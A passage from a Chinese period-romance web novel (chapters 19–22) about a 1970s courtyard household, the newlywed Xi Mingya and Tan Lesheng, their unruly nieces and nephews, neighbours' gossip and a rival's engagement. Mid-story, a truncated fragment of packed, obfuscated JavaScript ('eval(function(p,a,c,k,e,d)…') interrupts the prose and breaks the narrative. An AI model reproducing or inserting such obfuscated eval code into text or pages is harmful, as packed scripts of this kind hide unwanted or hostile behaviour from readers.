“不知道呀,我知道什么?” 牛玉芬撇嘴,您啥也不知道净忙活,“前阵子,您说给谭公安介绍前,她就和吴庆年处着呢,不过吴大妈不同意两人的事,要我说吴大妈也太挑了点,裴玉梅人才没得挑,性子也温柔,不比金子妈强?” “那,那她咋不跟我知会一声,处着对象还不拒绝跟谭公安相看,好在没带过去见面,不然我这老脸往哪摆?” 葛嬢嬢脸上青一阵、白一阵。 她真心实意给裴玉梅介绍个好的,免得姑娘在家里受亲妈剥削。 结果裴玉梅却对她隐瞒,葛嬢嬢脸色别提多难看了。 对裴玉梅的意见顿时比对奚明亚还大。 “嗐呀,反正人家谭公安相中了徐大妈介绍的这个,您呀,就甭惦记裴玉梅了,别说您想介绍,我之前还想把我娘家表妹介绍给谭公安呢,不也没成吗?谭公安这条件摆在那儿,你瞅瞅人家那院子多大,就一家人住,人家有资格挑,您就算把裴玉梅介绍过去了,也未必能成。” 牛玉芬撺掇着林春一块指责奚明亚也不是为谭文宣找公道。 她就是想探探小媳妇好不好说话,性格软不软,软的话,以后多少能占着便宜。 不说别的,就说正院这边被各家各户圈地占了私建,现在要厕所没厕所,要采光没采光,而跨院有单独的厕所和洗澡房,小媳妇若是性格软弱,不就方便大家借厕所,借地儿洗澡吗? 省下的澡票没准还能到外头换点吃喝。 借久了,自然而然就成公用的了,还不用他们负责卫生。 更甚者,没准还能谈谈“租房”的事儿。 跨院正屋加两侧厢房共七间,谁能不眼红? 也就是谭公安身家清白,小媳妇那头也根正苗红,大家除了眼红实在拿他们没办法。 暗得不行,那就明着租呗。 他们一家反正住不完。谭公安忙,小媳妇不想被大家排挤的话应当不会不给面子。 结果没想到人家心里有数得很,听听那通话,软的硬的都来了。 人不好惹,偏也算讲理。 不讲理她还能编排一二,现在人家棍子枣子都给了,再借着由头闹就过分了,平白无故得罪公安又是什么好事吗? “葛嬢嬢,我做饭去了。” 她一走,跟她玩得好的林春、许妮儿也走了,葛嬢嬢只能拉着另外几个老姐妹说裴玉梅。 19.第 19 章 葛嬢嬢跟老姐妹们抱怨自己痴心错付,差点好心办坏事。 当事人裴玉梅这会儿属实焦头烂额,欲哭无泪。 她弟裴玉贵让一个姑娘怀孕了。 女方父母找上门要说法,不结婚不给一百五彩礼就要告裴玉贵耍流氓。 裴家一百五是拿得出来的。 其中大头还是裴玉梅上回定亲男方给的彩礼,人没了后那家人没把彩礼讨回去。 但拿出来后,一家人的日子肯定难过。 裴母死要钱,叫她往外掏跟要她的命一样。就想故技重施给裴玉梅定亲,拿裴玉梅的彩礼填儿子裴玉贵那儿的窟窿。 裴玉梅偷听到母亲跟弟弟的打算,哪儿坐得住。 先前她没彻底答应吴庆年,就想再等等,看能不能找个条件更好的。 现在出了这事,就算有条件更好的男同志,怕也不想沾她家的事。 想来想去,最好的选择竟只有吴庆年了。 “庆年,我看咱俩的事不成了,我妈要把我说给别人,我弟他……他,他咋能那样干呢?” 吴庆年皱眉,又心疼又无奈:“玉梅,你不能不管你弟你妈吗?” 裴玉梅摇头:“可是,他们是我妈,是我弟,是血脉相连的亲人,我怎么不管,我,我……呜呜呜” 她是真的伤心。 泪水像流不尽似的。 抹了,泪水又滑落,她再抹,边擦眼泪边抽噎,“就当咱俩没缘分。” 说完,她转身要跑开,吴庆年忙伸手拉住她不让她走,温香软玉盈满怀。 吴庆年一把抱住哭得梨花带雨的心上人,力量大得彷佛要把人揉碎,揉进怀里。 他嘴比脑子更快:“玉梅你别着急,我马上到你家提亲。” “真、真的?” 裴玉梅不可置信抬头。 她眼睫轻颤,睫毛上挂着的泪珠晶莹剔透,眼眸里是那般信任、那般爱怜。 吴庆年斩钉截铁:“真的,我想娶的一直是你。” 裴玉梅扁扁嘴,“可你上次跟别人相看了,你并不是非我不可。” “不是,那是我妈的意思,对我来说,如果娶的不是你,那娶谁都没区别。” 吴庆年没说假话。 他喜欢的一直是裴玉梅。会积极接触奚明亚的前提是得不到裴玉梅的青睐。 当裴玉梅回头看他,他自然满心都是少年时期就心动的裴玉梅了。 “……真的吗?” “真的,玉梅,从读书时我就喜欢你了,只是你的眼神始终没落在我身上。” 裴玉梅神色僵了僵。 垂下眸子。 将脸埋进吴庆年胸膛,不想让他看到自己的恍惚失态。 “可是,我妈那儿……” “嗯,别怕,你妈就是想要一百五彩礼,我给就是了。玉梅,只要你愿意嫁给我,别的都不重要,我不会辜负你的。” “……我想嫁你的。”裴玉梅心定了定,第一次有了踏实感。 吴庆年激动不已。 “那玉梅,结婚后你能不管他们吗?咱们有了自己的家,得为我们的小家考虑了。” 不然,他妈那边…… 吴庆年很清楚吴母的态度。 她反感裴玉梅就两个原因,裴玉梅没工作;她妈和弟弟又格外不争气,两家离得近,成了亲家,裴家那俩癞皮狗以后肯定得赖上老吴家。 别说吴母不喜欢,吴庆年也不喜欢这样的丈母娘和小舅子。 但偏偏,他就喜欢裴玉梅。 裴玉梅的温柔、身上需要人保护的脆弱感让他狠狠心动。 特别能激起他的保护欲。 为了心爱的姑娘,他只得接受裴母和裴玉贵。 裴玉梅咬着唇,半晌“嗯”了声,“嫁了人,我就是裴家泼出去的水,我……我不管他们了。” 得了准话,吴庆年喜出望外:“你等我,一会儿,不,明天我就让我妈上门提亲。” “嗯,我等你。” 她怯怯的,声音软软的。 一抬眸,一垂首,一举一动都叫吴庆年心动。他看着看着,就傻了痴了,不由自主低头欲尝那抹殷红。 这次裴玉梅没有躲开。 而是微微侧首,下巴轻抬,露出漂亮纤细的颈子。 任由吴庆年采撷。 当天夜里,一进院吴家迎来了一场家庭战争。 **** 晚上,奚明亚将拍到的落汤鸡图和晚饭图上传,积分竟然一下子加了25。 总分来到了46。 她看了半天,没研究出加分规律,这系统实在太过随机,跟半成品闹着玩儿似的。 惩罚几个孩子,让他们哭得一把鼻涕一把泪,居然被判定为“对孩子的加分项”? 奚明亚自个儿都傻眼了。 天知道,她传照片纯粹是为了保存他们的丑图,想着万一哪天能把这些图弄出来,再狠狠嘲笑他们而已。 加分实在是意外之喜。 如果捉弄他们就能上大分,自己岂不是发现了绝佳的刷分途径? 奚明亚狂喜。 但很快,她又否定了这个假设。 系统应当不会留下这么明显的漏洞给她钻,不过存在潜藏的“成长”分的可能性很大。 想到兑换商城里的琳琅满目,奚明亚内心一片火热。 激动得搓手。 这规律必须得摸索出来啊。 当晚她咬着笔头,拿小本本做了一份详细的计划表,决定在接下来一段时间里慢慢测试。 她在为即将薅到手的羊毛偷乐,西厢里几个小孩难得没有嘀嘀咕咕。 如果说第一天晚上谭文宣信心爆棚,要给新来的婶婶下马威,叫她知道知道自己的厉害。 那第二天晚上,他就是焉了吧唧的鹌鹑。 吃饭、给弟弟洗澡、洗完澡又被奚明亚喊去给厨房搞卫生…… 全程没抗议一句。 看着老实了。 不过—— 若是以为彻底服了那就错了,大错特错。他只是刚丢了个大脸,气焰被暂时打下去了而已,心里还是跟奚明亚在较劲。 这不,隔一会儿往窗户外瞅一眼。 盼星星盼月亮,盼着小叔回来好抢在奚明亚前头找他告状。 奚明亚才不管他内心戏有多丰富。 她的策略就一个——兵来将挡,水来土掩。论捉弄人,谭文宣再练十年都不是她的对手。 看在几个孩子每天都爆积分,变相给她打工的份上,她不会计较他们听不听话乖不乖,只要没违法犯罪,小小年纪往法制咖发展,那就都没事儿。 谭乐生忙了一天一夜,回到家时已是半夜。 到门口才想起家里现在有了女主人,门是往里锁的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谭乐生低笑一声回应,既惊讶谭文宣会这样作怪,也惊讶奚明亚的处理方式。 但不管怎么讲,他都没觉得这样处理不好。 己所不欲勿施于人的道理,九岁,已经是懂事的年龄了,应该明白这些。 奚明亚笑眼看他,仿若无意般提起另一个事,“我觉得经过二进院再回家太堵太绕了,咱们旁边就紧邻顺化街,能不能在洗澡房那个角落开个侧门,这样出入更方便。” “可以,明天我找人来弄。” “我说什么,你都说可以,你就一点意见都没有吗?”奚明亚轻轻撇嘴。 谭乐生从这话里捕捉到微妙的情绪,他不禁放下筷子,看向奚明亚:“你希望我说不可以?” “我答应得太快,让你觉得敷衍了?” 他实在敏锐。 奚明亚挑眉,很欣赏他的洞察力,爽快点了点头,“嗯呀,我教训你侄子你说好,我要开侧门你也说好,那我跟你还不够熟呀,你这样我都不知道究竟什么在你眼里是不好的。” 她脸上还是挂着浅浅的笑容。 抱怨的语气懒洋洋的,好像随口一说,闲聊一般。 谭乐生却没像她那样随意。 目光凝着漂亮自信的面庞,默了一瞬:“明亚,你是我的爱人,是这个家的女主人,自然你想做什么就做什么。而且,教训文宣很对啊,是他先不尊重你,你不教训他我也会教训他的。” 说轻点是恶作剧,说重点便是根子歪了满肚自私坏心眼。别说是侄子,便是亲生的谭乐生也容不得对方这样。 “我们是夫妻,如果我哪里做得不到位,你就像今天这样,直接告诉我,我会改。” 20.第 20 章 他语气诚恳郑重,奚明亚有点不好意思,本是左手托着脸,现在换成右手,换了两秒还是觉得不自在,干脆整个人趴桌上。 趴了两秒,又小小挪动脖子去瞥谭乐生。 她就是这样,谁跟她嘻嘻哈哈,她放得开也胡咧咧一通。 但若是别人很认真。 她就会像被套了紧箍咒的孙悟空。 奚明亚确实不喜欢谭乐生敷衍自己。 如果他万事都不发表意见,她觉得摸不透对方,那是一件让她非常不愉快的事。 好吧,她承认自己掌控欲强。 “没有,你没有哪里做得不到位……”奚明亚尾音拖得长长的,似在斟词酌句,“但我想多了解一点你呀~~~~~” 谭乐生将最后一口吃完。 耳朵其实立得直直的,他一直在认真听奚明亚说话。 闻言,他略低了低眉。 再抬眼时,眉梢眼尾间带上疏阔爽朗的笑: “那以后我们慢慢了解彼此,我知道,我肯定有做得不到位的,比如结婚头一天就忙工作,你跟几个孩子还很陌生,就迫使你在没有任何准备的情况下单独照顾他们,辛苦你了,媳妇儿。” 这是他第一次喊媳妇儿。 喊完,谭乐生脸红成了关公。 他本就比一般男同志白,天生的,脸一红那张娃娃脸显得更青瓜蛋子,方才话里好不容易塑造出的成熟稳重顿时被粉碎了个彻底。 不过奚明亚也没好到哪儿去。 理智上两人是夫妻,喊什么都理所当然,她本身也不是扭捏易害羞的性格。 但看过猪跑没吃过猪肉的结果就是生理反应根本不受大脑控制,该脸红还是脸红了。 脸红之外,心里渐渐悸动起来。 两张关公脸四目相对,空气渐渐变得粘稠。 突然,炉子上的水烧开了。 水汽冲击着锅盖,发出“砰砰嘟嘟”的声音,瞬间驱散了空气中的暧昧因子。 “忘记封风口了。”谭乐生起身,将铁皮拉回去。 奚明亚指了指灶台一侧的台面,“暖水瓶放那边了。” 谭乐生点头。 洗碗,灌暖水瓶,边忙边说起这两天忙的案子,“……失踪人口还在排查,农村情况比我想的复杂,骸骨在那边发现,却问不出有用信息,很不正常,但也没法逼,社员们都听大队长的,而大队长嘛,目前没查出端倪……” “有没有可能,失踪人口真不是那两个大队的?” 奚明亚问。 “也在查,只是尸体白骨化严重,衣物也积在淤泥里面目全非,腐化厉害。要确认身份很难,今天刚查完人口登记簿。” 谭乐生说得很笼统。 奚明亚听了听,不由得感叹:“你们公安还蛮难的。” “什么时候来案子说不准,忙起来连吃饭时间都没有,不过,也很伟大。” 谭乐生看着她,心变得柔软。 “……其实还好。”谭乐生摸摸脑门,唇角不自觉翘了下,“我努力离伟大更近一点。” “……哦。” “去洗洗吧,洗完睡得舒服点,衣服拿衣柜左格子里的背心短裤是不是?” “嗯,你帮我拿啊?”谭乐生受宠若惊。 “至于这么意外?” “有点。” “那你自己拿吧。”奚明亚斜他一眼,手撑桌上站起身,悠悠打了个呵欠,“我先睡觉去了。” 她扭头走出厨房。 谭乐生原地站了会儿,忽然疾步跟上去,伸手抓住她的手腕。 缓缓地。 手指下滑,从抓手腕变成握住她手心。 奚明亚没回头。 眼眸垂下看向两人手心交握的位置,犹豫了下,没抽开。 一路牵着手回屋。 进了屋,奚明亚像是总算逮着机会抽手一般,大步走到衣柜前,很熟练地取出谭乐生的衣服。 谭乐生诧异,奚明亚偏头,瞧见他眼神,“别想太多,我记性好,看过一次就记得。” 谭乐生还是笑,“好,不多想。” 奚明亚借着把衣服塞过去的动作抽回手,“快去吧,这都十一点了。” “嗯。” 等谭乐生抱着衣服出去,奚明亚回头看了眼床,思索今晚究竟怎么睡。 难不成两人这就睡了? 大半夜的,实在不好叫谭乐生到别处去睡,东厢房空着但里头什么都没有,隔壁书房也没有床。 要赶,只能把他赶到西厢房跟几个孩子睡…… 算了。 想着想着,奚明亚爬回床上,被子一捞盖在肚脐位置,缓缓合上眼。 谭乐生洗完澡回来,屋里的姑娘已经睡熟了。 睡姿豪迈。 一条长腿夹着被子,侧躺着,露出半截雪白雪白的腰肢。 谭乐生眸色暗了暗。 喉头滚动,好半晌才慢慢移开视线。拉掉灯绳,轻手轻脚爬上床。 次日清早,奚明亚被谁给推了推。 她下意识偏过脑袋,半张脸埋在枕头里,突然,耳边响起超大的声音:“舅妈,舅舅叫你起床吃饭啦~~” 这声音简直直冲天灵盖。 跟寺庙的钟声被撞响似的,一圈一圈声纹余波不住在脑子里回荡,差点把它震成豆腐渣。奚明亚捂住耳朵,瞬间从床上弹跳坐起,没好气地瞪向眨巴着黑葡萄大眼睛的小姑娘。 “高——欢——” 结果小姑娘笑嘻嘻,迈着小短腿就往外跑,边跑边用玩笑得逞的表情回头看自己。 奚明亚:…… 她无语地抓了抓本就乱糟糟的头发,闭上眼放空大脑,放任自己再次倒回床上。 等彻底清醒爬起床已经是五分钟后的事了。 厨房里,谭乐生煮了面。 每个人碗里都卧了鸡蛋,就他自己的没有。 奚明亚睇他一眼,啧了声,趁锅里热着,起身倒油,打两个鸡蛋下锅,迅速煎好放他碗里。 并义正言辞道:“家里不缺鸡蛋,要么就都不吃要么就都吃,搞区别对待那套不好,当然,如果不爱吃是另一回事。” 事实上,怎么会不爱吃呢? 如谭乐生、奚明亚这般生在四五十年代,成长于七十年代的人,其实没少饿肚子。人一旦饿肚子,又哪会挑剔那么多。 奚明亚把自己碗里的鸡蛋挑出来放谭乐生碗里,“以后别给我留鸡蛋,我过敏的。” “嗯?” 谭乐生将信将疑。 谭文宣也怀疑地看着奚明亚,“鸡蛋这么好吃,也能过敏吗?”坏女人不会是为了得到舅舅的心,故意装贤惠吧? 哼,心机好深啊。 奚明亚不知道这小屁孩又阴谋论了,摸摸鼻子,还挺不好意思说的。 太窘了。 “我妈说,我小时候特别爱吃鸡蛋,一喂我鸡蛋羹我就乖乖睡觉,后来有次生病她很心疼我,一下煮了好多鸡蛋,结果起了一身疹子,去看了医生才知道我对鸡蛋过敏。” 吃一点不一定起红疹。 但自从知道小时候“乖”的真相是过敏晕过去后,奚明亚就不怎么吃鸡蛋了。 她 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谭乐生回忆了一遍亲媳妇儿的操作,放油、打蛋、撒盐。流程完全正确,闻着也很香,怎么吃进嘴是这个味儿? 他一脸懵逼看向坐对面的奚明亚,奚明亚心虚垂眼,她忘了! 谭乐生面不改色吃完了。 三小只看看舅舅,又看看自己碗里的,以为难吃是错觉,又夹了一筷子。 呜,还是难吃。 但想到昨晚舅妈拎起竹条打人的模样,虽然吞得艰难,还是成功吃完了。 吃完饭,谭乐生骑着自行车上班。 谭文宣跟二进院大壮几个一道上学,奚明亚则领着三只小鸭子到食品厂托儿所。 两队人马分开前,奚明亚让他别操心开侧门的事,她自己来。 送完孩子,奚明亚便直接回棉纺厂,找厂里擅长干泥瓦工的许叔了。 许叔活儿干得好,开价也公道,开个侧门顶多需要两天。 奚明亚让他周六周日来,自己先跑去旧货商店淘了门和一些杂七杂八的配件,花了八块。加上工钱和散出去的烟,一共花了十五块左右。 但这笔钱花得值,好处显而易见。 等跨院有了侧门,以后出出进进就不必经过正院大门了。买什么都不落正院邻居的眼里,能少很多事儿。 毕竟,她不打算在伙食上委屈自己。 她现在有票有钱,谭乐生工资不低,自然想吃什么就买什么。 这就跟一开始的想法不一样。 起初她是想用签到加日常任务得到的积分兑换吃的,剩下的攒着换一些有趣的玩意儿。 可仔细一算,用积分换蔬菜肉类太奢侈了。再者,不经常出入供销社和副食品店,家里却没有落到天天啃窝窝头的地步,这实在很可疑。 别说谭乐生是公安,便是普通人也会觉得奇怪。 何况厨房靠着二进院围墙建的。 今天炒什么菜,炖什么汤,风一吹,味儿往墙那头一散,别人闻一闻就能猜个大概,到时候一琢磨保管琢磨出问题。 这么一来,兑换商城里的很多东西不适合拿出来。至少,在普遍缺乏社交边界时不该拿出来,否则就是给自己招灾。 而最适合换的是白米、面粉这等不易查量查来源的粮食。 想到这儿,奚明亚去副食品店买了一些粗粮、易存储的红薯、土豆放厨房里。 21.第 21 章 找工匠,淘门,回家做饭…… 不知不觉一天又快过去了,奚明亚先去托儿所接三个小孩回家。 她刚到托儿所门口,领队的老师就用一种很奇妙很意外的眼神看着自己。 奚明亚低头,随即抬头微笑问老师:“老师,我身上有哪里不妥当吗?” 老师有点难为情,又很好奇的样子,弄得她也好奇起来。 “没什么,欢欢舅妈,” 老师欲言又止,过了会儿,轻声问,“欢欢说,你罚孩子的方式是叫他们吃屎,真的吗?” 奚明亚:…… 污蔑。 这是大大的污蔑。 “没有,她胡说八道呢。” 奚明亚面不改色,随手丢出个锅,“她昨天回家说,前天老师拉她裤||裆里,我治治她,用面粉骗她来着。” 她满口胡说八道,不想老师竟没怀疑。 大概是习惯了小朋友们各种无逻辑天马行空的告状,她忍不住哈哈大笑。 “欢欢舅妈,小朋友不是存心撒谎,他们属于认知和想象分不清楚,时间也永远只有今天、昨天、前天。所以不知不觉会胡说八道,不过,这也正是孩子天真可爱的地方。” “嗯,是很可爱。”奚明亚微笑附和。 正好,双胞胎出来了。 “老师,我们先走了。”奚明亚点头道。 “老师,再见~~~” “老师再见鸭。” 奚明亚让他俩牵着手,她再牵着高欢,三人又到小班接谭文明。 谭文明性子急,远远看到奚明亚他就踮着脚挥手喊“舅妈”,弄得整个班的小朋友都朝奚明亚看过来。 “哇,谭文明你舅妈好高呀,比我爸爸还高。” “我舅妈最高,最厉害。” “你舅妈比我妈妈好看,我想要她做我妈妈,行不行?” “不行,我舅舅会哭的。” “那我也叫舅妈。” “我也要叫。” “……” 一群小孩全张着嘴喊“舅妈”,比争新玩具还要兴奋,不,她现在就像是一只误入猴群的狒狒,被争着认亲。 奚明亚满头黑线。 小孩吹牛真是不讲王法。 才过了一天,就忘记昨晚被自己打了后,哭得稀里哗啦的事了。 自己小时候没他们这样健忘吧。 奚明亚腹诽,感觉自己身上多了好几道打量探究的目光。 不过她这人实在能装。 虽然又尴尬又想笑,愣是绷着脸保持高贵冷艳范儿,很自然地跟刚认的“侄子侄女”挥手打招呼: “听老师的好好排队,别撞来撞去。” “舅妈你好高呀,可不可以抱我呀?” 小班孩子陆陆续续出来,一个大眼睛齐刘海妹妹头的小姑娘猛地扑到奚明亚腿上,仰着头星星眼撒娇。 奚明亚低头,小姑娘胖胖的身子扭来扭去,边扭边喊“舅妈抱抱”。 很自然熟。 她叹了口气,单手抱起孩子。 小丫头“哇”地一声,“好高”还没说完,就被放下来了。 奚明亚假装寻谭文明的身影,等小家伙一出来她拽了就要迅速离场。 结果就等那么一小会儿,脚边围了一圈小萝卜头,各个用水汪汪、满是激动期待的眼睛望着她。 每个都等着举高高。 她能咋办? 举呗! 等牵着仨小孩离开托儿所范围,她恍然有种肱二头肌被练出来了的错觉。 回到家,又到了痛苦的吃饭环节。 盯着三个孩子把饭吃完,拍图打卡。等谭文宣放学,再把三小只交给他看着。 谭文宣不满:“都让我带,那你去哪儿?你偷懒。” “回娘家咯。” “对了,水缸里冰着西瓜,等你小叔回来让他开瓜给你们吃,不许自己切,否则……哼哼,你懂的吧?” “你要拿家里的东西回你家吗?”谭文宣指着背篓,不满控诉。 “是呀。” 奚明亚咧嘴,笑得无比得意,“怎么,你不许啊?可是你是小孩我是大人,你没资格管长辈,只有你小叔回来,你跟他告状才行。” 谭文宣脸颊鼓鼓。 好气啊。 奚明亚才不管他又要炸毛了。 两边都是她的家。 她想怎么处理家里的东西就怎么处理,别说谭文宣这个小鬼有意见,就算谭乐生抗议也不行。 谁也不能打压她的主人翁意识。 奚明亚哼着欢快的小调,背着一早准备好的细粮西瓜,骑着脚踏车回棉纺厂家属院。 这会儿侧门还没开搞,她背着东西路过二进院、一进院被不少人瞧见。 这个点几个妇女坐在回廊墙根做针线活、摘菜。见奚明亚推着自行车,背着好大一背篓,本来想劝诫两句的,又想到昨晚那一出只得打了退堂鼓,随口问:“这个点了,上哪儿去啊?” “回去一趟看我爸妈。” 奚明亚回道。 出了大门,她长腿一蹬,自行车一下蹿出老远。 几个妇女见状扎一块小声议论,“又是个贴补娘家的,都嫁人了还背着大筐小筐回去,也就是上头没婆婆,谭公安没其他长辈,不然有她好果子吃。” “谭老太死得早呗。她要是活着,挑媳妇肯定要挑以婆家为主,一心为婆家着想的,这么惦记娘家的肯定瞧不上,都不会让这姑娘进门。” “这倒是。” 牛玉芬拎着浑身是灰的小儿子路过听见了,就说,“刘大姐,你前头不是这么说的啊,你二闺女端午没给你送粽子你都骂了两三天嘞,说白生白养,你当时咋不夸她啊。” 说话的叫刘秀琴,有三女一儿。 儿子不到十岁,跟前头三个闺女年岁差得多,三个闺女全嫁了。 最小的才十七岁,已经是一个娃的妈。 这家子就靠嫁女儿过日子,逢年过节闺女不带重礼都不许上门的。 她这德性院里谁家不清楚啊。 就这,也好意思说出刚才那番话,别说多讽刺了。 牛玉芬没有为奚明亚说话的意思,纯粹是想刺刘秀琴。 刘秀琴一下哑巴了。 讪讪丢下一句:我锅里还炖着红薯,我先回去了。抱着纳了一半的鞋底,三寸金莲走得飞快。 奚明亚到棉纺厂家属院时,一家人都在,看她掏那么多吃的,又开心又忧虑。 “明亚,你拿这么多回家,谭公安……女婿知道吗?说什么了没?” 奚明亚:“需要他说什么?” “妈,你们少操心那些有的没的,他不是那么计较的人。你们是我家人,我有多余的吃的用的,给你们 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奚明亚一脑门雾水:“那个……我没下乡,没法跟你互相关照。” 陆佳惊愕抬头:“没,没下?” “对呀。”奚明亚点头,“我结婚了,所以不用下乡了。” 陆佳脸色一白。 不明白眼前的情况怎么会跟自己知道的不一样,她嘴唇嗫喏,半晌才试探着问,“你是嫁给周威了吗?” “周威这人不行的。” “你怎么会猜周威,你认识他吗?”奚明亚蹙眉,眼神探究。 “我……听你们这片的人说的,说他对你有意思。” “哦,那不是。” 两人不熟,奚明亚找不到话跟对方聊。尤其是她一副遭受到重大打击的模样,她就更不知道说什么了。 沉默了几秒说:“那我回家了。对了,这条巷子平时走的人少,太阳马上快落山了,一会儿就不那么安全,你早点回去啊。” “……噢。” 陆佳的脑子此刻已经被脱离已知的消息砸碎了,怔怔看着远去的瘦削背影,好半天没回过神。 她怎么没去下乡呢? 她不下乡,龙水湾还能发展起来吗? 她不下乡,不就错过池子骞了吗? …… 所有疑惑最终都化成一句话:奚明亚怎么会在这个时候结婚呢? 陆佳的困惑其实很简单。 如果没有被系统砸中,又没能在知青办规定时间内寻到合适的对象,奚明亚大概率会下乡。 她不想下乡的理由很纯粹,说来也很不正确,就是不爱劳动。 能不干活她就不想干。 当然,非要干她也能干。她不是不会,她其实会,但就是天生懒,天生就少了勤劳那根经。 陆佳心里的所有震动奚明亚都不知晓,叮嘱她注意安全后就离开了。 回来撞上牛玉芬边洗衣服边骂孩子。 牛玉芬神秘兮兮的,把刘秀琴几人说的话转给她听。 奚明亚一阵无语。 “我不明白,为什么对别人的工资占有欲那么强啊,不觉得奇怪吗?” 牛玉芬眨眨眼。 不愧是高中生啊,埋汰人都埋汰得这么有文化! 22.第 22 章 对别人工资占有欲强的不只有61号院的住户们。 棉纺厂瞧见奚明亚回家的也在嘀咕。 尤其是杨南妈和欧阳眉。 简直共脑了一样,同一时间跟家里念叨奚明亚。 主题就一个: 还好她没进咱家门,不然这作派,不出几天家里就被搬空了。 奚明亚若是知道肯定要翻个大白眼。 谁想进你们家了? 自作多情。 回到家里,谭乐生刚刷完碗,正打算出门。“又要到附近走访?” 谭乐生摇头:“不是,是另一桩。” 奚明亚嘟囔。 一天天的,案子还挺多,关阳市这么不太平吗? 谭乐生整理了下衣服。 戴上帽子,嘱咐道:“最近晚上少出门,滨市监狱的一个连环杀人犯越狱了,下午收到滨市电话,人可能往咱们关阳方向逃窜,我回局里开会,晚上你留个门。” 翻墙不难,但老翻墙也不好。 “哦,知道了。” 奚明亚推着车到雨棚停好。 雨棚里的干柴多了两捆,煤球多了至少两百多个,应该是谭乐生下班拉回来的。 她满意地点点头。 觉得自己运气确实不错,一不留神就抓了个眼里有活儿的。 “……那个,阳阳他们要跟大壮打豆腐干去,我去盯着。”谭文宣别别扭扭。 奚明亚嗯了声。 四人闹哄哄往外跑,高阳手里还滚着铁环,吭哧叮当的。 奚明亚拿着水瓢,扯着嗓子吼:“不许出院子,天黑了就回来,听到没?” “知道了,罗里吧嗦。”就算不叮嘱,他也不会带着弟弟妹妹出院子大门,当他傻啊。 他们平时都在二进院和大壮、虎头几个玩。 61号院是三进大院子。 住户多,孩子也多,什么年龄段的都有,这些小孩拉一块能组好几支游击队。 小孩子能玩的多了。 滚铁环、扇纸壳、翻豆腐块、打弹珠、捉迷藏,甚至在墙根刨地滚牛都能玩好几个小时。 不过今天一大三小刚冲过去,大壮就眼睛一亮,撅着屁股挪啊挪,贱嗖嗖凑到谭文宣旁边:“你婶子欺负你们没?” 谭文宣眼神飘忽。 暗骂哪壶不开提哪壶,面上却在死鸭子嘴硬,下巴抬得可高可骄傲了:“没有,她怕我们赶她出门,才不敢欺负我们呢。” 不过说这话时,他还记得压低声音,免得被弟弟妹妹们拆台。 大壮眨眨眼。 有点怀疑:“真的?” “咱们是兄弟,你不要觉得丢脸,说出来大家帮你出气去。” 谭文宣磨牙。 表情坚定得下一秒就要入党宣誓了:“真的,她敢才怪。我小叔是公安,她敢欺负我们,小叔第一个把她抓去关了。” 他抬头挺胸语气笃定,分外傲娇。 大壮呆了呆,“那咋跟我妈说得不一样啊,我妈说你婶婶比隔壁金子妈还要厉害,不好惹呢。” 具体怎么个不好惹,大壮不清楚。 但金子妈,也就是吴庆年大嫂李红霞,那可是一个得理不饶人的泼辣货。 三天两头跟人为鸡毛蒜皮的事吵架。 还每次都能吵赢。 牛玉芬吃过几回亏,经常跟家里人叨叨,大壮就记住了。 一听她妈拿奚明亚跟金子妈比较,立马担心起好兄弟来。 谭文宣才不承认呢。 “没有的事,坏……我婶婶她长得特别温柔,你别看她跟你爸一样高,但是她瘦啊,她胳膊没比我粗多少,我小叔声音稍微大点声她就吓得瑟瑟发抖,一点儿也不厉害,真的!” “哦。” “你不信吗?我说的都是真的。” “信信信,咱能扇纸壳了不?”确定好兄弟没被欺负,大壮就对奚明亚不感兴趣了。 “我说的是真的。” 谭文宣再次强调。 察觉好兄弟很“着急”的样子,大壮狐疑:“谭文宣你今天好奇怪呀。” 谭文宣:“……” 算了,不说了。 “哪里奇怪了,快来扇纸壳,今天我先。” 所谓扇纸壳呢,就是烟盒拆开成纸片,分正反面扔地上,手指并拢微微弯曲,手背拱出弧度,往地上一拍,拍的时候带起的风扇动地上的纸壳,让它翻身,就算赢了。 下到几岁上到十几岁,都逃不掉它的魅力。 谭文宣和大壮几个玩了没一会儿,一进院的金子、银子兄弟俩也来了。 一群孩子很快玩成一团。 奚明亚洗完澡出来,屋顶瓦片开始传来雨水落下的啪嗒声。 很大颗,不密集。 天边,夕阳落下了十分之九,只剩下天际线那一圈被晕黄染透,夜幕即将降临。 她擦干头发,目光落在院子里被雨水打“黑”的石板上。 想了想,随手捞起头绳把长发扎脑后,到堂屋拿了伞去二进院逮几个不知道回家的小崽子。 这场雨来得突然,大家都没有防备。 进入二进院,各家嘈杂的声音猛地灌入耳中。嚷着收衣服的、喊孩子回屋的、顶着雨从外头跑进来的…… 跟独门独户的安静是完全不同的世界。 奚明亚撑着伞,眼神迅速扫过四周,一边集中注意力听哪儿有家里几个孩子的声音。 很快,她朝一进院走。 七八个小孩在两个院子中间小门那儿各玩各的。 奚明亚:“谭文宣,高阳高欢谭文明,下雨了不回家,等着我来请你们吗?” 蹲角落玩虫子的高阳三兄妹不约而同扭头,看到奚明亚面无表情,三小只原地踌躇了一会儿,才慢吞吞站起来朝奚明亚走去。 小丫头小心翼翼觑着舅妈。 看看手里的绿色毛毛虫,犹犹豫豫,满眼不舍递了过去。笑容讨好:“舅妈~~~~给你玩。” “舅妈不喜欢小虫子,你自己玩就好。”奚明亚果断拒绝。 开玩笑,谁家大人爱玩虫子啊,反正她不爱。 小丫头用力呼了口气。 手咻一下收回去了,还宝贝地摸了摸她的毛毛虫,嘴角咧得大大的,露出一口小白牙,“舅妈,那你喜欢什么虫咧?明天我们帮你捉呀~~~” “别,我什么虫都不喜欢。” 奚明亚拒绝得非常彻底。 她可不想几个小的隔三岔五捧着乱七八糟的虫子来献宝呢。 那场面,想想就头皮发麻。 “走了,回家。” “嗷~~~舅妈,要牵手手。”高欢撒娇。 大壮看到突然出现的奚明亚,小孩呆住了。 眼睛睁得老大。 愣了好一会儿,第一句话竟然是:“谭文宣你没骗我啊,你婶婶真的有我爸那么高。” 谭文宣不禁腹诽。 所以刚才你全是敷衍,压根没信我的话? 谭文宣将赢到手的纸壳往兜里一揣,扭头跟大壮告别:“我先回去了,明天早上你等我。”

